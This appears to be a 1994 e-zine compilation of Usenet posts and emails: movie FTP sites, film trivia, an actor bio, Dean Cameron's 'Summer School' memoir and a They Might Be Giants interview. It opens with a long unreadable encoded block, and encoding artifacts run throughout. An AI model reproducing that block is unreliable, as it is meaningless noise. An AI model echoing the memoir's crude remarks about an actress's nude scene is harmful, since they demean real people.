H?$#I$@*+D.*X##2X2 7,Q^&5'D%BI,K7XQ=^=''H3%AQHSU.;/DJ#&; +MQOX=C7/&F*BH@P8QA8+US*$\7K$"_:,PSZ$K3?D '7,5[-64$)HZ,>;D2$AC +M'(R)'"0JS]$Q"1&:=1+1KC&U4)JZL"$"Z*6+>#N,[,#QRAB%?OV>M'P&"D*. +M'VU8=G)PK5YGIL]0_YC(<,1'%P!H#JOR\.2<#BP ;+H*P"N WHE?]];:^W5" +M& \;/HG2AJ>+$0VO'!H8?16C58 57K')I@QCVC"27/1/10ZAP!QQ +MOD%$V45G#+=;'*]! 8!LO254AYEEJN<$#FQ>QU^8:VD'T7@4?A>221_6Y$-2?^"T91RG&:*)I +M'Z#Z)"-=>-$PH6@'BM&3,6A-)9J!I/$QR"8F.FFA@YG60>*K&C[F0UR"MB@> +M5#&.2%E/@3VDH((?^$ 55C\X,D8'J3V6VF1")K0L0E[$(1N=*['04:9KG0%E +ME-(X8U-J%EWI$ \L2E#!ASQ, ANN>VVYKQ.K'FDF3\ ?1RS(D,(&&E2,P*1*?!'4HJN9*\*?)!T*64-QY&2R +M;26)QW(5-5617TX,25R%,.&,"(JJDL@5Q%$(.%O_614R*M4K5R-Z,6&M3C)U +MX1H9;@56AUKG,8:"DW[M(E11[:6>BORY>A1#';AX U9[O>6C:H=VV_601_XE +MUF95- ?1;$W6T?4AIEVCC3.F\$T!:QQ,A,)^K@WG6@45I:OO<'EG0F+]LYR))6+-+'(D&0 $QRBB911(G2'A/&MFGL +MPAI!V&9Z$/NM-(()%DM<$Q2;WC ;0U]XJHPA07WQRL)(LJ1R#MW.E4=F7'6U +MD P7UNJ$QH9+.^.8V!)RJ+YQ/Z+D,+PTFI"LSIW,R\A[.5Y&1R9]#0)0Y!PD11 +M:PU*^8YD-%*%\E".)WMS0IL6!K%:7:T^)E.6[KPCD=C%3F25$B),QF,ER/P# +M 4H,B1+Q5YXJF.*)DN ;1\HE B U* =&NI8&FB.#^RAA+M 9XTF$DA*':."( +M,FG(2 brugga@yvax.byu.edu writes: +> +>Hey! +> +>Does anybody out there know of an FTP site for downloading stills from fil= +ms +>or QuickTime movies? +> +>Write me if you know: brugga@yvax.byu.edu +> + +>Thanks, +> +>Alan Bruggeman +> + +Alan, + +I have a Quicktime movie from ED WOOD at ftp.netcom.com. The directory pat= +h +is: + +/pub/caddy/movies/misc/edwood.zip + +There are also some movie pics, but a limited selection. Read the=20 +00index.txt file in each directory for details. + +Here are some other sites that I know of: + +nic.funet.fi /pub/pics/tv+film/ +To retrieve pictures from this +site you must login with the +username "pictures" instead of +"anonymous" + +ftp.sunet.se /pub/pictures/tv.film/ +I know that they have Alien pics here. +You may need to login with "pictures" here too, but try +"anonymous" first. + +ftp.wustl.edu +This site is very popular and often full of anonymous users. +It has a great selection of .gifs and .jpgs. I'm not +sure of the directory path, but I believe you start with +/multimedia/ and go from there. + +If you have access to World Wide Web, you may be interested in these URLs: + +Cult movies http://www.public.iastate.edu/~abormann/ +Pulp Fiction http://www.musicbase.co.uk/movie/pulp/contents.html +Star Wars: http://www.wpi.edu:8080/ftp/starwars +Evil Dead/AOD: http://b62528.student.cwru.edu/home.html +Q. Tarantino: http://www.nvg.unit.no/~eddie/tarantino.html +Natural Born Killers: http://crimelab.com/NBK.html +Reservoir Dogs: http://colargol.edb.tih.no/~kennetha/dogs.html +Blade Runner: http://kzsu.stanford.edu/uwi/br/off-world.html +John Woo http://panacea.library.ucsb.edu/~jkoga/jw_gallery.h= +tml + +Forbidden Planet (Sci-fi movies,etc.) + +http://www.maths.tcd.ie/mmm/ReviewsFromTheForbiddenPlanet.html + +Cardiff=D5s Movie Database (absolute BEST for movies!) + +http://www.msstate.edu/Movies/ + +Horror Movies + +http://www.teleport.com/~caseyh/ + +If you can play .avi movies, you may be interested in this site: + +schlunz.chemie.uni-dortmund.de in the +/incoming directory, unless they've been moved to /pub/windows/avi by now. + +> Name Contents +>--------------------------------------------------------------------------= +--- +>sw10.avi Star Wars: The destruction of the Death Star +>empire01.avi The Empire Strikes Back: Tripping and destroying an +> AT-AT +>sw5.avi Return of the Jedi: The destruction of the DeathSta= +r +>rotj01.avi Return of the Jedi: Space battle sequence +>rotj02.avi Return of the Jedi: The destruction of the Super St= +ar +> Destroyer +>aladd02.avi Aladdin: =D4Genie, I wish for you to make me a Prin= +ce=D5 +>fewmen01.avi A Few Good Men: =D4We follow orders, son, or people= + die=D5 +>fewmen02.avi A Few Good Men: =D4You can=D5t handle the truth=D5 +>robo01.avi RoboCop: Introducing ED209 +>robo02.avi RoboCop: ED209 demonstration goes awry +>robo03.avi RoboCop: ED209 vs RoboCop +> + +Hope this helps! + +Terri + +-- + +e-mail: caddy@ix.netcom.com +finger: caddy@netcom.com + +rec.arts.movies #176712 (2 + 405 more) -= +[1] +[1] Re: Raising Arizona Trivia ? +From: Re: Raising Arizona Trivia ? +Date: 20 +Organization: 20 +Lines: 20 + +In Message-ID: <1994Oct6.062647.793@muvms6> +humphre4@muvms6.wvnet.edu writes - + +> Does anybody know any interesting trivia relating to RAISING ARIZONA ? +> I read that there is a reference to DR. STRANGELOVE (P.O.E), where is it = +? + +The POE (Peace On Earth/Purity Of Essence) thing is written on the door +of the restroom that John Goodman and his buddy rush out of when they +steal the car from the filling station. I never noticed this until some +bright spark on alt.cult-movies pointed it out. What "Raising Arizona" +has to do with the Kubrick movie I'm not sure; I guess Joel and Ethan +Coen had their reasons. One thing that's always puzzled me about this +movie is that the financiers, Circle Films, have the movie, script and +score copyrighted in 1985, and yet distributors Twentieth-Century Fox +released it and copyrighted it in 1987. Does this mean that Fox sat on +one of the best films of modern times for two whole years ?! + +Harry Roat Jr, from Scarsdale +=D2 Better hurry it up there son, looks like I'm in Dutch with the wife. = +=D2 + + +--------- +You may send cards and letters ONLY to: + +Pedro Zamora +c/o Body Positive Resource Center +175 NE 36 Street +Miami, FL 33137 +__________ +Trivia bit: + +Q: Which city in Germany has the most mcDonalds? + +A: Hi there, the only thing I can tell is, that the city with the most McDs +is Hamburg with 25 followed by Munich with 24 (Data by 1993 stolen by the +Big Mdp) McDonalds Route Atlas. + +---- + +I l00000000ve this show. + +just kidding=C9. I hate it. + +=09=09=09=09=09=09I watch it every week. + +hmmmmmm... + +you should hear the song my band wrote about Angela Chase! +just kidding. It's the worst thing you can imagine. +_________ + +From=20cotopaxi@pine.circa.ufl.edu + +Subject: MSCL: Claire Danes bio + +Claire Danes Age: 15 +Born: New York City, NY +Birthdate: April 12 +Height: 5=D55 1/2=D3 +Hair: Dark Blonde (orginally, anyways!) +Eyes: Grey green + +Claire grew up in New York City and, at the age of 9, started taking acting +classes at the Lee Strasberg Studio. In the sixth and seventh grade, she w= +as +enrolled in the Professional Performing Arts School. She also stared study= +ing +modern dance at the age of six. + +Off-Broadway appearances: "Happiness", "Punk Ballet", "Kids on Stage" (in +which she choreographed her own solo dance) + +TV appearances: "Law and Order" (she killed her agent I think.. ;) ), +"No Room for Opal" (w/ Tyne Daley), "The Coming Out of Heidi Lieter" + +Film debut: "Dreams of Love" (Milos Foreman, exec. prod.) + "Thirty" (short film) + "Pesky Suitor" (festival short film) + +Upcoming project: The role of Beth in "Little Women" with Winona Ryder and +Susan Sarandon. + +Claire was raised in =D2a very creative household. Her mother is a painter= + and +a teacher. Her father is a computer consultant. She also has an older +brother, Asa, who is a college senior. And she has a cat, Fifi-Champion. + +Of MSCL, she says "it's as real as TV can be, I think." + +Hope you all learned something=C9 bios of other MSCL characters are +available via email by request. + + +---------------------------------------mail bonding------------- + +you know the address: + +=09=09=09=09=09jonathar@gas.uug.arizona.edu + +----------- + +Date: Mon, 31 Oct 1994 13:52:27 -0500 + +From: HinTysen@aol.com +To: jonathar@helium.gas.uug.arizona.edu +Subject: Your zine + +WWOR09A@aol.com (WOR News) -- WOR (NY/NY superstation) news dept +The first part of that address suggests that the suffix should be +prodigy.com.. + +Also: Ex-King Missile lead singer John S. Hall: JohnSHall@aol.com + + + + +Date: Sun, 30 Oct 1994 16:24:32 -0500 +From: Bill Triplett +To: jonathar@gas.uug.arizona.edu +Subject: strangeness 1 + +i like it.. informally informative.. covers stuff i like.. its got hamsters= +.. +..the mountain dew thing looked about right.. but i don't like mountain +dew.. but mellow yellow really sucks BAD. dr. pepper's really a good drink, +now. a friend of mine's mother would sit there and tell you why its the +=D4he most refreshing beverage on the market personally, i think she got a +little more out of dr. pepper than i ever can..but i still like it. + +i also like ween=C9 i haven't heard they're new album! but i'll be on the +lookout for it. i'll also have to check my stock in scotchgard=C9should be +up! + +here's some of my favorite www sites...maybe you'll appreciate them: + + + + +Date: Sun, 30 Oct 1994 16:28:04 -0500 +From: Bill Triplett +To: jonathar@gas.uug.arizona.edu +Subject: that was a lie + +no, HERE are some of my favorite sites: + +http://www.willamette.edu/webdev/principia/ + +http://bazaar.com/Art/mendoza.html + +http://www.cen.uiuc.edu/~kb10618/fnord.html + +http://www.ntua.gr/mandel/mandel.html + +http://www.actwin.com/fish/index.html + +sorry bout that! my mailer is just jealous because i have hands and it +doesn't. it decided to send a message before its time. + +---- + +I haven't had a chance to check this stuff out yet... hmmm... + +see what ya'll think. + +hehe...Maybe we should have some kind of "If you were trapped on a=20 +desert island with only 10 web site addresses, which ones would they be?" t= +ype=20 +contest. + +Dammit, I gotta get a fast modem so I can run mosaic through SLIP. + +anyone feeling generous??? hehehehe + +At least my 2400 baud anchor beast has a lot of cool lights. I know what=20 +they all mean. Is that a bad sign? + +Please ignore all the random file translation problems. They suck, I know..= +. +but I can't find any easier way to do it. Fuuuuuuuuck +anyone have any experience in max to unix translation?=20 + +the following textfile from Dean Cameron is from my VideoCHeez zine. It's= +=20 +a print thang, available (right now) from me at +295 N. 3rd Ave +Tucson, AZ +85705 + +It's only a quarter + a stamp +...and I just got my september issue done + xeroxed last week, so you=20 +should reward me... yeah, so what if it's 11/5/94. + +enough shameless pluggzzzz...... + +---legal note--- +Dean Cameron will hunt you down and kill you if you reproduce this=20 +anywhere (and then then he'll kill me... and we wouldn't want that.) So=20 +contact him. + + +From=20waldodfb@netcom.com Mon Aug 8 09:52:33 1994 +Date: Mon, 8 Aug 1994 01:21:01 -0700 (PDT) +From: Dean Cameron +To: jonathar@gas.uug.arizona.edu +Subject: The Chainsaw Memoirs... + + +Jonathan,=20 + +I got inspired on my day off and wrote this. I only ask that if you make +any changes, other than spelling, to pleeeeeeeeze send them to me for +approval.=20 + +I hope that it's not too long or boring. Let me know + +I've included my e-mail address in the article, go ahead and print it. + + +You can snail mail me at: + +Dean Cameron +c/o Landmark Artist Management +5200 Lankershim #260 +North Hollywood, Ca. +91601 +=20 +=20 + I WAS A 23 YEAR OLD CHAINSAW + by=20 + DEAN CAMERON + + + +LIFE BEFORE CHAINSAW + +My path to Chainsaw began in Norman, Oklahoma, where I lived with +my mother and Santa Barbara, California, where I would visit my +father for the summers. It was in Santa Barbara where I started +doing community theater and would continue through the years. +=20 +A couple of the other kids I did plays with were Anthony Edwards +and Eric Stoltz. We have remained friends since then. When I was +back in Oklahoma, they would go down to Los Angeles and do +commercials and guest roles on T.V. shows. I figured that since +they could do it, I could do it too, so, in 1980, after many +lectures from my high school guidance counselor and other +concerned adults, I forewent a college education and drove to +Hollywood in a 1976 Firebird that was promptly stolen one month +after my arrival. +=20 +I was roommates with Eric and Tony for awhile. They were going to +U.S.C., continuing to do T.V. and I was working at Mann's Chinese +Theater as the Head Usher and hating life. They, of course, were +Sean Penn's surfer buds in the mother of all high school movies, +Fast Times at Ridgemont High. +=20 +I won't bore you with all of the gory details about being a +starving actor. Let's just say that it sucks. Especially when +your best friends are becoming major film stars. +=20 +I had been slowly but surely getting bit parts on various shows, +etc. and studying acting.=20 +=20 +My first brush with "filmic Highschool" began on a television +pilot for a piece of garbage called "Highschool U.S.A.". It was +my first "big job" a series regular on a T.V. show. I got fired +after three days. Long story, not my fault, blah blah. But I got +paid anyway and didn't have to work in the real world anymore. In +1984 I decided to quit my job parking cars (I quit the Chinese +Theater after they threatened to promote me to Assistant Manager; +the thought of excelling at a "job job" terrified me). +=20 +Later that year, I got a supporting role on a t.v. series called +"Spencer" with Rob Lowe's little brother, Chad. He quit the show +after 7 episodes and they recast it with Ross Harris, the kid +from the movie Airplane; "Do you like gladiator movies?" It died +7 episodes later. Ross wasn't the teen dream Chad had been, so +NBC axed it. But, I was actually making a decent living. +=20 +Here's where the Chainsaw machinery began rolling. +=20 +In 1985 I got a small part in a T.V. movie, "The Prince of Bel +Air" with Mark Harmon. It was about a pool cleaner who slept with +all of his client's rich wives. Also starring in "Prince" was +Kirstie Alley and Patrick Labyorteaux, both of whom would go on +to roles in "Summer School". I worked on the thing for about a +week or so. Whatever, the die was cast... +=20 +CBS decided in '85 to do a t.v. series of the movie "Fast Times". +When I heard about it, I thought "Gee, what poor sap are they +going to get to play Jeff Spicoli?". Well, it turned out that +that poor sap would be me. After about five months of auditions, +I got the job, died my hair blonde and began work on "Fast +Times". The series, of course, was doomed. The movie dealt with +teenage sexuality and drugs; two taboo subjects for network t.v. +I was able to pull off Jeff Spicoli with a minimal amount of +resistance from the critics, and earned a bit of respect from +some of the Hollywood community for being able to pull off a +legendary character on t.v. +=20 +There were two "Summer School" connections in "Fast Times". Amy +Heckerling, who directed the movie and directed some of the t.v. +episodes had a script in development at Paramount called "Summer +School". It was going to be a sort of "answer" to "Fast Times". +She wanted Patrick Dempsey, who was playing Mike Damone in the +"Fast Times" series to play a part in "Summer School" called +"Chainsaw". I really liked Amy and was kind of jealous that she +hadn't thought of me to be in her movie.=20 +=20 +The other connection was Courtney-Thorne Smith, who was playing +the Jennifer Jason Leigh part in "Fast Times". I always thought +that she was really cool because she liked hanging out with me +and Dempsey in our trailers where we would listen to Derek and +Clive tapes and light our farts. +=20 +"Fast Times" aired for 7 weeks in the spring of 1986 and was +unceremoniously canceled. Once again I was unemployed with a very +nice chunk of change in the bank. I appeared in a few "teen magazines" at= +=20 +the time and often the girls who sent me fan letters would enclose nude=20 +polaroids of themselves. Interesting... +=20 +Over at Paramount, Carl Reiner, who now refers to himself as +"Rob's Dad", had a film in development. I don't know what it was, +but somehow it wasn't going to work out so they pulled the plug +on it and gave him his pick of any script they had in +development. He read the Summer School script and decided to +direct that, much to the chagrin of Amy Heckerling. +=20 +There were two main concerns from Paramount as far as casting. +The first was getting someone to play the teacher, Mr. Shoop. +When Amy was involved they had decided to pass on the obvious +choices of "wise guy actors"; Michael Keaton, Tom Hanks, Joe +Piscopo, et al. and try to find someone that would bring more +"normalcy" to the role. They had toyed with Jay Leno, David +Letterman and Joan Rivers(!), but couldn't agree on a choice. +Carl Reiner saw Mark Harmon on some talk show and decided that +that was his Shoop. They met and the deal was finalized. +=20 +The second was the kid roles. Since it was going to be a +relatively low budget project (9-10 million, I think) they didn't +want to pay a whole lot for all of the kids and decided on +casting "relative unknowns" in the kid roles. (Relative unknowns +means actors who work semi-frequently, but aren't known by name +outside of Hollywood.) Also, because of child labor laws, actors +older than 18 are usually hired to play highschool roles so they +can work full time. Minors have to go to set school and may not +work more than a certain numbers of hours. Calls to agents were +put out and the casting process had begun. +=20 +Mark Harmon had worked with Kirstie Alley on "Prince of Bel-Air +and suggested her for the female lead. Carl liked this idea and +she was cast. He also suggested that Reiner meet Patrick +Labyorteaux. Patrick wanted to play Chainsaw but was offered the +role of Kevin, the football player, instead. In the original +script, all of the kid's roles were of equal size. There was a +very large sub-plot with the football player and the pregnant +girl, so Patrick was quite pleased with the part. +=20 +Kristy Swanson was the first choice for the surfer girl, Pam, but +she got the lead in "Flowers in the Attic" and opted for that. +Courtney was the second choice and was cast. +=20 +The last time I had seen Mark Harmon was at a screening for +"Prince of Bel-Air". It was during the "Fast Times" shoot, so my +hair was dyed blonde, and I looked pretty damned weird. He wasn't +aware that my hair was blonde because I was working, he just +thought I was insane. During the casting process, he called my +agent asking to see actors, "a young Dean Cameron" was the +phrase, I believe. My agent said "Dean's young", so after a bit +of haggling over my sanity and hair color and it's reasons I got +an audition. +=20 +As far as the age thing goes, there was only one "real" teenager, +Shawnee Smith, who was 19. Everyone else was in their twenties. I +was 23, Ken Olandt, who played the male stripper, was 30 or +nearly 30 as I remember. Kelly Jo Minter, the girl with the +dyslexia, had a daughter! +=20 +When I read the script, I knew that I was going to play Chainsaw. +Sometimes this happens to actors and this was one of those times. + +In the original script, Chainsaw and Dave are obsessed with the Tod +Browning classic "Freaks", not "The Texas Chainsaw Massacre. There was a +kind of parallel thing happening with "Freaks" and the class full of +misfits. I thought that was really clever and interesting. (More on that +change later.) I had seen "Freaks" a couple of years previously and had +loved it. There was also a sub-plot involving Chainsaw's alcoholism that I +related to. (That's a whole other story.) +=20 +The thing that I really liked about the script was, besides being +hilarious, how mean and dark the characters were. This would also +change. +=20 +I went in to read for Carl Reiner and the producer, George +Shapiro (who now produces "Seinfeld"). I read through one scene, +a scene that is not in the final cut where Dave and Chainsaw +propose to the foreign exchange student (who was Swedish in the +original script.) After I finished, Reiner asked me to read it a +completely different direction. I thought that he was insane, but +I went ahead and did it his way. He later told me he did this to +see if I could take direction. We read through it one more time +and I left. I knew that I had nailed it and was sure that they +were going to pick me.=20 +=20 +Sure enough, a couple days later, I went back to read with their +"Dave prospects". There were two guys there. One was the kid (his +name escapes me) from E.T. and the other was Gary Riley. I went +in and read the proposal scene with each one. Personally, I liked +what E.T. guy did.... Oh well... +=20 +I got the offer the next day. After some tense negotiations, +always the worst part of the process, the deal was finalized and +the ball was rolling. It was my first movie role. I was ecstatic. +=20 +There was a month before we started shooting, so I had some time +to do "research". I searched desperately for a video copy of +"Freaks". There were none. I also rented "Texas Chainsaw +Massacre". I was blown away. It remains, to this day, one of my +favorite movies. Around this time, it was the anniversary of +TCM's release, so there was a slew of articles about it and +director Tobe Hooper. The other thing was Rick Baker. He loved +the script and the homage to him and agreed to do the special +effect makeup sequence in the movie, so I got to hang out with +him and his crew for a couple of days and make neat stuff and +learn all about effect makeup. The other thing was wardrobe. The +wardrobe guy for Paramount (who felt like he was slumming doing +"Summer School") showed me the trenchcoat, I loved it. I came up +with wearing the cap (from the Fotomat that Dave and Chainsaw +work at) backwards. YEARS before this became popular... (What a +trendsetter!) +=20 +Carl Reiner arranged a screening of "Freaks". He had never seen +it. After the screening he matter-of-factly stated that it was +too intense and weird, so Chainsaw and Dave should screen "Texas +Chainsaw Massacre" for the class, instead of "Freaks". I was +bummed. In my own meek way, I pointed out the parallel to him. He +didn't get it. The writer, Jeff Franklin, was extreeeeeemly +bummed as well. In retrospect, I don't think that he was too +happy with Reiner taking over. Although Carl Reiner was/is a +legend in Hollywood, he was a bit too "nice" for the "Summer +School" Script. The darker aspects of the script were kind of +brushed over in the following weeks and we began shooting. +=20 +THE SHOOT +=20 +Most of the shooting took place over an eight week period in +Woodland Hills at an empty school, JFK High. JFK high's other +credits included "The Karate Kid" and a couple of other high +school movies. What was interesting about the location was that +the exit off the freeway was Shoup Avenue. Weird.... Who cares?=20 +=20 +I had hung out with Gary Riley, the guy who was cast as Dave, a +few times and found him to be incredibly annoying. He was really +into this "New Age" vibe, and kept wanting me to read these dumb +books about how we are all part of the universe and crap like +that. I had been through my "new age period" several years +earlier and I found it to be really selfish and self indulgent at +this point. As far as reading went, the reading I did for +preparation and during the shoot was an endless supply of Hunter +Thompson and Charles Bukowski and a great novel, "The Jungle" by +Upton Sinclair about immigrants dying in horrific meat packing +accidents in the twenties, so some book about the "true nature of +our beings and spirit" was of absolutely NO interest to me and I +relayed this to Gary many, many, many times. By the third day of +shooting (the scene where the black girl drives, with us in the +back seat) we weren't speaking to each other, maintaining a +friendly facade when others were around and silently loathing one +another in private. +=20 +The tension with him increased during the shoot. I was pretty +serious about my work (still am) and would work bits and business +out the night before and bring them in. Because of this, Carl +Reiner took a liking to me and basically gave me free reign to +ad-lib anything I wanted to. Gary believed that any preparation +and homework was asskissing. Oh well. Enough about the bad stuff. +=20 +The good stuff was this: Carl Reiner has a really nice wife, +Estelle, who he's been married to since the beginning of time. He +only shoots from 9am to 6pm so he can go home and be with her. My +experience before and since showed me what a rare situation this +is. Movies usually begin shooting as soon as the sun is up and a +day can last as long as people remain standing, so the set was +always relaxed and fun.=20 +=20 +Richard Horvitz, who played Eakian, was a sugar freak who would +consume mass amounts of candy and soda and run around the +schoolyard like a raving lunatic.=20 +=20 +There were many games of Simon Says. Kirstie Alley would always +ask if she could play. I usually led the games so I would say, +"Sure, Kirstie, stand over there". She would and I would +immediately call her out as I had not said "Simon Says". On +halloween, all of the departments; makeup, lighting, camera and +drivers, had a costume and trailer decoration competition. We +took a long lunch and had a mariachi band and mexican food.=20 +=20 +Mark Harmon and I would talk about our girlfriends (his future +wife, Pam Dawber, my girlfriend who would turn out to be a +nightmare and haunt me to this day) and chew tobacco and disgust +the women. (This was also right after he was People Magazine's "Sexiest=20 +Man Alive" so most of the cast, especially me, would remind him of this=20 +and he would generally throw something in your direction.) +=20 +I began a friendship with Patrick Labyorteaux that continues to +this day. +=20 +As I said before, there was a scene where Dave and I propose +marriage to the exchange student, Anna Marie. She was originally +supposed to be Swedish, but they couldn't find a Swede who could +act, so they found an Italian who could (kind of). In the scene, +the girl runs down the beach topless and jumps in the water, we +jump in after her and propose. She declines, saying that we are +all too young to get married but maybe someday. The girl who +played her, Fabiana Udenio, asked that the set be cleared the day +that scene was shot. When the day rolled around, she decided that +she didn't want to do it and started freaking out and crying. +Carl Reiner explained to her that he was going to shoot it very +tastefully from very far away and not to worry about it. The +producer explained to her that she had signed a contract where +she agreed to show her yabbos and what American Lawsuits were all +about. Needless to say we shot the scene. Unfortunately for her, +that was the day that anyone even remotely associated with +"Summer School" or Paramount Studios "coincidentally" decided +that they "really needed to come down to the set for a look +around". Everyone was gunning for a look at her ripe melons. If +you can picture about fifty guys in suits milling around a beach +parking lot trying to look like they need to be there, you might +get an idea of the surreal sight I had from the freezing November +Pacific Ocean.=20 +=20 +Fabiana, on the other hand, stopped being modest after about 30 +minutes. Which has generally been my experience since. Actresses +feel that they need to complain about doing nudity for a while. +No one on the set really cares. When you're working, you just +want to get the shot over with and the actress usually forgets +about it. The same was true with Fabiana and the scene went off +without a hitch. The scene was trimmed from the movie just +because it was too long and took away from the love story between +Shoop and Robin. +=20 +Another scene that was shot and trimmed was a scene after the +party at Shoop's house where he takes Chainsaw home. Chainsaw's +drunk and pukes all over his dad. It was a funny scene but it +didn't fit.=20 +=20 +There were a lot more sub-plot stuff with the other kids that was cut way +down after filming was completed. I was really the only one to survive the +knife, the two scenes excepted, so the part of Chainsaw turned out to be +larger than it was originally intended to be.=20 +=20 +The only drawback to doing a movie called "Summer School" is that people +think that it's some sex romp with a slew of tits and ass. (Like, oh, say, +"Ski School" or something.) I always thought of it as a sort of +continuation of the "Fast Times at Ridgemont High" idea. Real kids with +real problems, but not a pretentious gabfest like "The Breakfast Club". It +didn't, in my opinion, turn out like this at all. Anyway, a really +annoying thing would happen when we were on location. Someone would ask +what the name of the movie we were shooting was. When they would hear +"Summer School", they would get this really condescending tone in their +voice: "Ohhhhhh, one of those movies." I often enjoyed the confused stares +when I would mention that Carl Reiner was the director.=20 +=20 +I worked on "Summer School" for all of the eight weeks and, Gary +Riley notwithstanding, had a great time. The last day was at +Malibu Grand Prix and we got to ride as many times wanted for +free and had the run of the video games. (Simple pleasures.) +=20 +LIFE AFTER CHAINSAW +=20 +"Summer School" came out the summer of '87 and did reasonably +well at the box office. I got a nice development deal at +Paramount and seemed to be headed for a bigger stature in the +business when a really annoying writer's strike happened and put +the town on hold for about six months. The deal's time limit +expired and I got paid off in quite a large sum of cash. +=20 +I waited about a year to do another movie. It was called "Bad +Dreams". Gale Ann Hurd, of Terminator fame had a deal at Fox to +produce smaller budget (for them) movies. I played a wacko mental +patient who enjoys cutting himself and ends up committing +suicide. I got a Joe Bob Briggs best actor award for this +performance along with Rowdy Roddy Piper, Carl Weathers and Clint +Eastwood. I'm still not sure if this is a good thing... +=20 +I played a "rock and roll vampire" in every 8 year old's favorite +movie, "Rockula". And a bound and gagged pizza delivery guy in +"Men at Work" with Charlie Sheen and Emilio Estevez.=20 +=20 +I continued getting offers for really, really, really, shitty +movies because of the Chainsaw thing. I was trying to "grow up" +in the industry and stay away from supporting roles and "wacky" +guys. It's really annoying to go somewhere and have a drunken +teenager walk up and say "Duuuuuuuuuddddee, you're my hero!" or +scream "Chainsaw" at you. =20 +=20 +An interesting side note. My dad teaches highschool in Oregon. +Without fail, during finals, someone invariably screams and then +says "tension breaker, had to be done". He hates it. +=20 +Anyway, I found myself turning down everything waiting for the "right" +project. It never came. They never do. So when I got the offer for "Ski +School" I took it. It was rent for a year. Patrick Labyorteaux was going +to do it too and we went to Canada for a month and had a great time. I met +Stuart Fratkin on this and we ended up in a syndicated T.V. series called +"They Came From Outer Space" together. I did another crappy B-movie after +that; "Miracle Beach" (Miserable Beach as I fondly call it) and decided +"enough with the B-movies".=20 +=20 +I got a job in an HBO drama with Joe Mantegna called "State of +Emergency" about an inner city emergency room. Last year I did +another supporting role in "Sleep With Me" with Eric Stoltz and +Meg Tilly. We were accepted into the competition at the Cannes +Film Festival this year. "Sleep With Me" will be out late +September, '94. +=20 +I'm working on another independent film, "211" playing a burnt +out L.A. cop who robs a bank with his friends, right now as I am +writing this. +=20 +Oh yeah, I paid my rent for the year with the money from "Ski +School II". +=20 +So, "Summer School" is on cable constantly and people tell me it +is their favorite movie and that is a good thing. I saw it on +real T.V. one day. A local channel here in L.A. I had always +wanted to see the "T.V. version" as we shot scenes with +"alternate" swear words (a common practice) like "eat chips" for +"eat shit", "you're a dink" for "you're a dick"... stuff like +that. So for "historical purposes" I taped it. Anyway, before a +commercial break, the announcer says "Summer School, starring +Sean Penn, will return after these messages". I have the tape and +it frequently turns up on my answering machine as an outgoing +message. + + +THE END +=20 +Dean Cameron can be reached at the internet address waldodfb@netcom.com.=20 +If you harass him he will send a nice man from the F.B.I. to your house=20 +to ask you to stop. If you are nice, he just might let you send him money= +=20 +and nude pictures of your sister. + + + +"Do not mock The Corey or it=20 +will forever dominate your life..." +Ask me about MILK... +Embrace The Corey-ETC =20 +waldodfb@netcom.com + + +------ + + + +From=20gajarsky@pilot.njin.net Tue Nov 1 10:15:44 MST 1994 +Article: 137718 of alt.music.alternative +Path: news.Arizona.EDU!noao!ncar!gatech!howland.reston.ans.net!EU.net!uunet= +!dziuxsolim.rutgers.edu!pilot.njin.net!not-for-mail +From: gajarsky@pilot.njin.net (Bob Gajarsky) +Newsgroups: rec.music.misc,alt.music.alternative,alt.music.tmbg +Subject: INTERVIEW: They Might Be Giants +Followup-To: rec.music.misc +Date: 31 Oct 1994 22:00:47 -0500 +Organization: Freelance writer +Lines: 249 +Distribution: world +Message-ID: <394b0v$819@pilot.njin.net> +NNTP-Posting-Host: pilot.njin.net +Xref: news.Arizona.EDU rec.music.misc:109120 alt.music.alternative:137718 a= +lt.music.tmbg:8554 + + +=09Consumable Online recently caught up with John Flansburgh of They=20 +Might Be Giants. Flansburgh and John Linnell comprise the main part of thi= +s=20 +group, best known for their quirky songs such as "Don't Let's Start", "Ana = +Ng"=20 +and "Birdhouse in Your Soul". On their most recent release, _John Henry_, = +the +duo employed several full time musicians to add to their breadth and depth. +=09How busy was he this day? While we were conducting the interview,=20 +John was doing his dishes - it's hard to do that when you're on the road mo= +st +of the time. He had been giving interviews for seven hours straight. But, = +in +between, he was told that the St. Louis show sold out in 90 minutes. The= +=20 +hectic pace comes with the territory when you're as in demand as They Might= +=20 +Be Giants. + +C:=09Your new album, _John Henry_, is the first album you've had a full=20 +band on. What triggered the decision to implement a full backing band? +TMBG:=09Well, it was a practical thing - we were going out on a long tour i= +n=20 +the middle of 1992 (for _Apollo 18_) and we were trying to change up the sh= +ow. +We had toured for a year solid in 1991 (for _Flood_) and then went out in t= +he=20 +beginning of 1992 as a duo and it struck us that even though we had added a= +=20 +half dozen songs to the show, it was hard to make the show seem different= +=20 +>from what we had done in 1990. We didn't want to do a big national tour= +=20 +that was the same as the 1990 show. +C:=09That was when you had the backing music and such accompanying you? +TMBG:=09Yeah, we were working with a drum machine; we spent 1991=20 +working on _Apollo 18_ and not working on a live show, so we were trying=20 +to figure out how to spice up the show. We decided to bring in some side= +=20 +musicians to play a couple songs and at some point, we decided that might= +=20 +be too weird to have someone on the road to play only three songs - it was= +=20 +an indulgence of sorts. I had been playing drums in the show for a few=20 +songs - which was interesting - so we were almost dipping our big toe in th= +e=20 +live rhythm section. We auditioned some people, rehearsed for a few weeks= +=20 +with a five piece lineup and it started working. The audience's response h= +as +been really receptive. +=09Over the last couple years, the lineup has changed a bit - Kurt +(Hoffman, horns) has left the band to work on some movie soundtrack project= +s. +We're now a six piece - we added Randy Ando, who plays trombone as well as= +=20 +tuba. We're expanding - it's nice to have a full horn section.=20 +C:=09So, how long have you been together now - it must be nearing ten years= +? +TMBG:=09We've actually been together since 1983. We played in crummy=20 +clubs for three years or so. +C:=09What's the best and worst things about having a band playing=20 +behind you? +TMBG:=09The best and worst parts are intrinsically linked. It's an=20 +intimately more social thing - the up and down sides of that are a total=20 +constant now. It's really fun hanging out with these people and it's music= +ally +challenging to work with them; there are all sorts of levels to pursue what= +=20 +you're doing. On a personal level, as a musician, it's really opened up a= +=20 +whole new area for me. Writing for horns is really exciting, hearing the= +=20 +music *become* a full blown band sound - I feel like I'm lucky to hear=20 +these great players work on my songs. It's really wonderful and rewarding= +=20 +to work with a great bunch of guys.=09 +=09The other side - John and I have this responsibility of being band=20 +leaders, which means to some extent, we have to think of ourselves as=20 +bosses. For us, that's uncomfortable - we want to be fair, we want to do r= +ight +by these guys, but it makes things complicated. We've (the two Johns) have= +=20 +always been self-contained which has been a strength, without compromising= +=20 +a thing. We just did our own thing - but 